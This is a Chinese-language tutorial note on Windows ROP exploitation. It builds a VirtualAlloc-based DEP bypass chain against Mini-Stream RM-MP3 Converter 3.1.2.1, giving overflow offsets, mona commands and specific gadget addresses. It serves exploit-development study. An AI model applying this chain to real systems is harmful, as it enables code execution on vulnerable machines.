---
# System prepended metadata

title: Windows Exploit Development - ROP

---

# Windows Exploit Development - ROP
終於進到現代漏洞利用最重要的 ROP 啦！

## ROP
因為在 linux 上做過不少次練習，我就不多說，簡單來說就是利用代碼片段( gadget ) 來連續控制程式達到想要的目的( ex. 開 shell 、解除 DEP 等等)

## 實驗環境
因為 XP 下沒有 DEP 的緣故，這次特別準備了 win 7 x64 sp1 ，其餘 immunity debug, mona 該準備的還是要有

這次的目標為 Mini-Stream RM-MP3 Converter 3.1.2.1 ， exploit-db 有 [exploit](https://www.exploit-db.com/exploits/20116) 可以參考
※漏洞利用目標別在 exploit-db 上下載，他的版本是 2006 年，我猜內部有更動過，要找的話必須去[這裡](http://www.softsea.com/review/Mini-stream-RM-MP3-Converter.html)下載
※我不保證沒問題，不過他是在虛擬機應該還好

## 流程
windows 下的 ROP 通常是用 ROP 呼叫 VirtualAlloc, VirtualProtect 之類的 API 解除 memory region 的執行限制，然後把 shellcode 布置在 stack 或其他原本不可執行的地方，最後跳過去執行
> 不知道能否呼叫類似 system() 之類的 ?
> 

基本上 x86 亦或是 x64 的程式 calling convention 應該是相同的，所以 windows 下的 x86 calling convention 跟 linux x86 下一樣都是透過 stack 傳遞參數，不用考慮太多 windows 和 linux 的差異

儘管 windows x86 也是一樣透過 stack 傳遞，具體方法還是分成兩派:
1. 先將 ROP 放到 reg 上，最後透過一個 pushad 壓到 stack 上
2. 直接將 ROP 擺到 stack 上

第二種看起來比較簡單，但因為實際案例上無法像 linux 的 pwn 題，直接傳遞諸如 \x00 之類的 byte (有截斷問題)，故需要透過把值放進給 reg 再透過各種迂迴手段將值設定好後壓回 stack ，所以第一種會比較簡單一點

這個 case 中因為沒有 info leak ，無法得知 ASLR 的情況，所以必須找沒有 ASLR 的 module 找尋可利用的 gadget
`!mona modules`
借一下圖
![](https://i.imgur.com/kfzpFLe.png)

從表中來看，能利用的大概只有 RM2MP3Conventer.exe 和 MSRMfilter03.dll 兩個 module ，又考慮到截斷問題，只剩下 MSRMfilter03.dll 能用

因為主要是呼叫 VirtualAlloc, VirtualProtect 之類的 API ，先搜尋一下他們的地址:
`!mona ropfunc -m MSRMfilter03.dll -cqb '\x00\x09\x0a'`

要注意到的是這邊顯示的地址是 VirtualAlloc 地址的地址，有點像是 GOT 的概念，所以到時候要呼叫前必須先依址取值

gadget 的部分透過以下命令查詢:
`!mona rop -m MSRMfilter03.dll -cqb '\x00\x09\x0a'`

這邊會生出幾個文件:
* rop:
各種 gadget 
* rop_chains:
生成如何構造呼叫 VirtualAlloc, VirtualProtect 的 ROP chain ，簡單說就是直接講明 ROP 的分配
* rop_suggestions:
Module 的 API 地址的地址
* stack_pivot:
做到各種 stack pivot 的 gadget

其中會用到的主要是 rop 和 rop_chains

rop_chains 和教學文章中都提到關於 VirtualAlloc 的 register setup:
 EAX = NOP (0x90909090)
 ECX = flProtect (0x40)
 EDX = flAllocationType (0x1000)
 EBX = dwSize
 ESP = lpAddress (automatic)
 EBP = ReturnTo (ptr to jmp esp)
 ESI = ptr to VirtualAlloc()
 EDI = ROP NOP (RETN)
 
 這些 register 擺放的目的全都是為之後的 pushad 將所有值 push 進 stack 用，但是後面的 alternative chain 目前還不太清楚意思
 
 在找資料的過程發現[這篇](https://zhuanlan.zhihu.com/p/26175089)其中指出這種方式的 virtualalloc 無法跨頁申請，需要注意
 
 這次的目標很單純的想要做 ROP 實驗，所以前面找 offset 那邊就略過不談，這邊給出相關 offset
 ```python
 payload = "http://." + "A"*17416 + "B"*4 + "C"*7572
```
這個長度的 payload 是必須的，太少也會出錯

確定好 offset 後就可以開始構造 ROP chain ，我針對每個 register 做個 gadget 表，好幫助理解這些 chain 在幹嘛

有些 register 前後有相關，關於依賴性必須自己考慮

以下是我的擺法，大致上參考教學文章，一部分自己搞(教學文章有部分牽扯到 runtime 設定，個人覺得太吃運氣，所以改良一下):

1. edi:
edi 由上面的 register setup 得知，必須擺上 ROP NOP ，這個詞我想了好陣子才知道是 ROP 版本的 NOP ，也就是啥都不做進到下一個  gadget ，剛好 ret 有這樣的特性，所以就是擺上 ret 的 地址
※地址在 rop 內應該沒有，不過可以透過搜尋 gadget 地址後自己偏移一下
```python=+
rop += p32(0x1002be41) # pop edi; ret
rop += p32(0x10019c60) # &ret
```

2. edx:
edx 要放 0x1000，因為不允許出現 bad character ，所以不能直接 pop ，這邊的做法是利用`add edx, ebx`這樣一個 gadget 運算得出 0x1000
```python=+
rop += p32(0x1003fb3f) # mov edx, e58b0001; pop ebp; ret
rop += p32(0x10060058) # padding
```
這邊先把 edx 設定為 e58b0001 ，之後再用 ebx 做相加，padding 的部分之後解釋

```python=+
rop += p32(0x10021b81) # pop ebx; ret
rop += p32(0x1a750fff)
rop += p32(0x10029f3e) # add edx, ebx; ret 0x10
```
edx 因為 gadget 的關系強制為 0xe58b0001 ，所以 ebx 要設定為 0xe58b0001 + X = 0x1000 ，得到的是 0x1a750fff ，之後將兩者相加即可得到 0x1000 
```python=+
rop += p32(0x10019c60)*7
```
因為是 ret 10 ，所以我直接擺一堆 &ret 當作 nop sled

3. ecx:
ecx 要擺的 0x40 也不能直接 pop 過去，必須靠其他運算
```python=+
rop += p32(0x10027eab)
rop += p32(0xffffffff)
```
先將 ecx 設定為 -1

```python=+
rop += p32(0x10031d7e) # inc ecx; and eax, 8; ret
rop += p32(0x10031d7e) # same with above
```
利用 inc 將 ecx 設定為 1 ，因為該 gadget 和 eax 有相依性，所以 eax 放到後面設定

```python=+
rop += p32(0x1002a487)*6
```
利用 2^6 = 64 將 ecx 設為 0x40

4. esi:
esi 的部分要依址取值，比較麻煩一點
```python=+
rop += p32(0x1002f3af) # pop eax; ret
rop += p32(0x1005d060) # & virtualalloc
```
這邊要利用`mov eax, dword ptr ds:[eax]`這個 gadget 
```python=+
rop += p32(0x10027f59) # mov eax, dword ptr ds:[eax]
rop += p32(0x1005bb8e) # push eax; add dword ptr ds:[ebp + 5], esi; push 1; pop eax; pop esi; ret
```
雖然有點長，但可以看到 line 17 有用的是 `push eax` 和 `pop esi` 兩個而已，因為中間有個 `add dword ptr ds:[ebp + 5]` 所以 line 4 要找個可以寫入的地址，考慮到 ASLR 的關系，我一樣找 MSRMfilter03.dll 的 data section ，從而保證地址不會改變

5. eax:
eax 的部分很簡單，將 0x90909090 pop 給 eax 即可
```python=+
rop += p32(0x1002f3af) # pop eax; ret
rop += p32(0x90909090)
```

6. ebx:
ebx 的部分設為 1 即可
```python=+
rop += p32(0x10021b81) # pop ebx; ret
rop += p32(0xffffffff)
rop += p32(0x100319d3) # inc ebx; xxxx; ret
rop += p32(0x100319d3) # same with above
```
老樣子，先設為 -1 再 inc 兩次就變成 1 了
※ xxxx 表示無關指令

7. ebp:
最後一個 ebp 要設為 jmp 到 esp 上，可以透過`!mona jmp -r ESP -m MSRMfilter03.dll -cqb '\x00\x09\x0a'` 搜尋
```python=+
rop += p32(0x10036280) # pop ebp; ret
rop += p32(0x100371f5) # call esp addr
```

8. pushad:
最後就是將 register 全 push 到 stack 
```python=+
rop += p32(0x10014720) # pushad; ret
```
pushad 會以以下順序 push 進 stack:
1. eax
2. ecx
3. edx
4. ebx
5. esp
6. ebp
7. esi
8. edi
> 我發現這其實是 immunity debugger register 排列的樣子

故當`ret`時， esp 指向的是 edi ，也就是 &ret ，當然因為 ret 是 rop nop 所以沒有作用，移到下一個也就是 esi ，這邊以下剛好形成 call VirtualAlloc 的 function call layout

等 VirutalAlloc 執行完會跳到 eax 也就是 0x90909090 從這邊開始執行 shellcode 

大致上 windows 的 ROP 就是長這樣

之後可能嘗試一下 VirtualProect 吧...


